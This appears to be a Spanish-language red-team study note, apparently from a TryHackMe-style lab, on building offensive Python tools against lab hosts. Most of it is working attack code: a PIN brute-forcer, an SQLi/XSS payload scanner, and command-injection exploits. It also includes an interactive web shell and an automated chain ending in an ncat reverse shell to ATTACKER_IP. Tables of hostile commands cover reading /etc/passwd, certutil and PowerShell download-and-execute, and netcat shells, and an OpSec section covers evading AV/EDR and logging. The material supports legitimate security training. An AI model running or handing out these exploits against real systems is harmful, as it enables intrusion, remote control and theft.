Tooling propio en Python
Las herramientas existentes (open-source o comerciales) rara vez encajan perfectamente en un engagement específico. Además, la mayoría ya están firmadas, lo que aumenta significativamente…
El código es la herramienta definitiva del red team: permite crear herramientas a medida, automatizar flujos de ataque repetitivos y evadir la detección que enfrentan las herramientas conocidas y firmadas.
Por qué crear herramientas propias
Las herramientas existentes (open-source o comerciales) rara vez encajan perfectamente en un engagement específico. Además, la mayoría ya están firmadas, lo que aumenta significativamente la probabilidad de detección por AV/EDR. El código personalizado permite:
- Adaptar la funcionalidad a necesidades exactas del engagement
- Automatizar exploits y workflows repetitivos
- Bypasear mecanismos de detección
- Modificar exploits existentes para el contexto específico
Scripting vs. Compiled — Comparativa de lenguajes
| Factor | Scripting (Python, Ruby, JS) | Compiled (Go, C++, .NET) |
|---|---|---|
| Velocidad de desarrollo | Rápido — interpretado directamente | Más lento — requiere compilación |
| Rendimiento | Más lento (interpretado en runtime) | Más rápido (compilado a machine code) |
| Facilidad de uso | Más fácil de crear y modificar al vuelo | Sintaxis más estricta |
| Portabilidad | Cross-platform, pero requiere intérprete instalado | Builds específicos de plataforma, pero no necesita runtime adicional |
| Evasión / detección | Fácil de ofuscar, pero puede activar AV/EDR por patrones de scripting | Más difícil de analizar; mejor para evadir detección |
| Acceso al SO | Bueno para automation e interacción con herramientas | Acceso de bajo nivel a recursos del sistema |
Comparativa de lenguajes específicos
| Lenguaje | Tipo | Ventajas | Desventajas |
|---|---|---|---|
| Python | Scripting | Librerías extensas, prototipado rápido, gran comunidad | Ejecución lenta, alta detección por AV/EDR |
| JavaScript | Scripting | Web-based, threading fácil, amplio soporte en apps web | No apto para tareas de sistema de bajo nivel, alta detección |
| Go (Golang) | Compiled | Tipado estático, concurrencia eficiente, cross-compilation sencilla | Binarios grandes, pocas librerías específicas de seguridad |
| .NET (C#) | Compiled | Integra bien con APIs de Windows, técnicas de ofuscación maduras | Compatibilidad cross-platform limitada, requiere .NET runtime |
| C++ | Compiled | Muy rápido, acceso directo a memoria, herramientas sigilosas | Sintaxis compleja, debugging difícil |
Python es el más usado para custom security tooling: prototipado rápido, librerías extensas (networking, web, automation), sintaxis simple, y con herramientas como py2exe puede compilarse a binario para sistemas Windows sin intérprete.
Brute-Force Tool (Python)
Caso: bypass de autenticación con PIN numérico de 4 dígitos
El objetivo tiene un login panel con usuario admin y contraseña numérica de 4 dígitos (conocido por logs o frontend). En lugar de intentar manualmente:
import requests
url = "http://python.thm/labs/lab1/index.php"username = "admin"
# Generar todas las combinaciones 0000-9999password_list = [str(i).zfill(4) for i in range(10000)]
def brute_force(): for password in password_list: data = {"username": username, "password": password} response = requests.post(url, data=data)
if "Invalid" not in response.text: print(f"[+] Found valid credentials: {username}:{password}") break else: print(f"[-] Attempted: {password}")
brute_force()Puntos clave:
zfill(4): rellena con ceros a la izquierda (0001,0023, etc.)- Para iterar sobre caracteres:
string.ascii_uppercase(A-Z),string.ascii_lowercase(a-z) - La respuesta negativa contiene “Invalid” → si no aparece, las credenciales son válidas
- Mejora: añadir multi-threading para enviar múltiples requests en paralelo
Vulnerability Scanner (Python)
Caso: detección de SQLi y XSS con multi-threading
import requestsimport reimport threading
url = "http://python.thm/labs/lab2/greetings.php?id="
payloads = { "SQLi": ["'", "' OR '1'='1", "\" OR \"1\"=\"1", "'; --", "' UNION SELECT 1,2,3 --"], "XSS": ["<script>alert('XSS')</script>", "'><img src=x onerror=alert('XSS')>"]}
sqli_errors = [ "SQL syntax", "SQLite3::query():", "MySQL server", "syntax error", "Unclosed quotation mark", "near 'SELECT'", "Unknown column", "Warning: mysql_fetch", "Fatal error"]
def scan_payload(vuln_type, payload): response = requests.get(url, params={"id": payload}) content = response.text.lower()
if vuln_type == "SQLi" and any(error.lower() in content for error in sqli_errors): print(f"[+] Potential SQL injection detected with payload: {payload}")
elif vuln_type == "XSS" and payload.lower() in content: print(f"[+] Potential XSS detected with payload: {payload}")
threads = []for vuln, tests in payloads.items(): for payload in tests: t = threading.Thread(target=scan_payload, args=(vuln, payload)) threads.append(t) t.start()
for t in threads: t.join()Lógica de detección:
- SQLi: inyectar payloads típicos y buscar mensajes de error de BD en la respuesta (SQL syntax error, Unknown column, etc.)
- XSS: inyectar payload JS y verificar si aparece sin sanitizar en la respuesta (reflected XSS)
- Multi-threading:
threading.Threadejecuta cada payload en su propio hilo, reduciendo el tiempo de escaneo significativamente
Exploit Development (Python)
RCE básico: explotar endpoint vulnerable
import requests
TARGET_URL = "http://python.thm/labs/lab3/execute.php?cmd="command = "whoami"
response = requests.get(TARGET_URL + command)if response.status_code == 200: print("[+] Command Output:") print(response.text)else: print("[-] Exploit failed. HTTP Status:", response.status_code)Shell interactiva (múltiples comandos)
import requests
TARGET_URL = "http://python.thm/labs/lab3/execute.php?cmd="
print("[+] Interactive Exploit Shell")while True: cmd = input("Shell> ") if cmd.lower() in ["exit", "quit"]: break response = requests.get(TARGET_URL + cmd) if response.status_code == 200: print(response.text) else: print("[-] Exploit failed")Reverse shell automatizado
import requests
TARGET_URL = "http://python.thm/labs/lab3/execute.php?cmd="
# Linux reverse shell con ncat:payload = "ncat ATTACKBOX_IP 4444 -e /bin/bash"
print("[+] Sending reverse shell payload...")requests.get(TARGET_URL + payload)Listener en la máquina atacante:
nc -lvnp 4444Comandos RCE comunes post-explotación:
Linux:
| Comando | Descripción |
|---|---|
whoami |
Usuario actual |
id |
User y group IDs |
uname -a |
Detalles del sistema |
cat /etc/passwd |
Archivo de contraseñas |
ls -la |
Listado de archivos con permisos |
nc -e /bin/bash <ip> <port> |
Reverse shell via netcat |
python3 -c 'import pty; pty.spawn("/bin/bash")' |
Upgrade a shell interactiva |
Windows:
| Comando | Descripción |
|---|---|
whoami |
Usuario actual |
hostname |
Hostname del sistema |
ipconfig /all |
Información de red |
net user |
Lista de usuarios locales |
tasklist |
Procesos en ejecución |
certutil -urlcache -f http://attacker/shell.exe shell.exe |
Descarga ejecutable |
powershell -c "IEX(New-Object Net.WebClient).DownloadString('...')" |
Ejecuta PS payload remoto |
Task Automation — Session Management
Mantener sesión autenticada
requests.Session() almacena cookies automáticamente tras el login:
import requests
session = requests.Session()
login_url = "http://python.thm/labs/lab4/login.php"credentials = {"username": "admin", "password": "password123"}
response = session.post(login_url, data=credentials)
if "Welcome" in response.text: print("[+] Login successful. Session cookies stored automatically!")else: print("[-] Login failed.")Exploit completo: login → command injection → reverse shell
import requests
LOGIN_URL = "http://python.thm/labs/lab4/login.php"EXECUTE_URL = "http://python.thm/labs/lab4/dashboard.php"USERNAME = "admin"PASSWORD = "password123"
def authenticate(): session = requests.Session() response = session.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD}) if "Welcome" in response.text: print("[+] Authentication successful.") return session return None
def execute_command(session, command): response = session.post(EXECUTE_URL, data={"cmd": command}) if "Session expired" in response.text: print("[-] Session expired! Re-authenticating...") session = authenticate() print(f"[+] Output:\n{response.text}")
def get_reverse_shell(session, attacker_ip, attacker_port): payload = f"ncat {attacker_ip} {attacker_port} -e /bin/bash" execute_command(session, payload)
session = authenticate()if session: execute_command(session, "whoami") get_reverse_shell(session, "ATTACKER_IP", 4444)Flujo del exploit automatizado:
authenticate()— bypass de autenticación o login con credencialesexecute_command()— explota command injection; re-autentica si la sesión expiraget_reverse_shell()— establece acceso persistente via reverse shell
Flujo completo: de descubrimiento a shell
flowchart TD
A[Recon: identificar endpoint vulnerable] --> B[Scanner: detectar SQLi/XSS/RCE]
B --> C[Brute force: obtener credenciales]
C --> D[Session: mantener autenticación]
D --> E[Command injection: ejecutar comandos]
E --> F[Reverse shell: acceso persistente]
OpSec para custom tooling
- Tráfico HTTP: usar User-Agent realista para no destacar en logs
- Timing: añadir
time.sleep()entre requests para evitar rate limiting y detección por volumen - HTTPS: usar siempre TLS para C2 y exfiltración
- Logging: no dejar archivos de log de tus herramientas en el sistema objetivo
- Detección: los scripts Python pueden ser detectados por AV/EDR; considerar py2exe o lenguaje compilado para mayor sigilo
Ver también
- Custom Tooling via Burp — extensiones Java con la Montoya API para Burp Suite
- Browser Automation for Pentesting — Selenium + Playwright para automatización basada en navegador
- Vulnerability Chaining — encadenar descubrimiento → exploit → escalada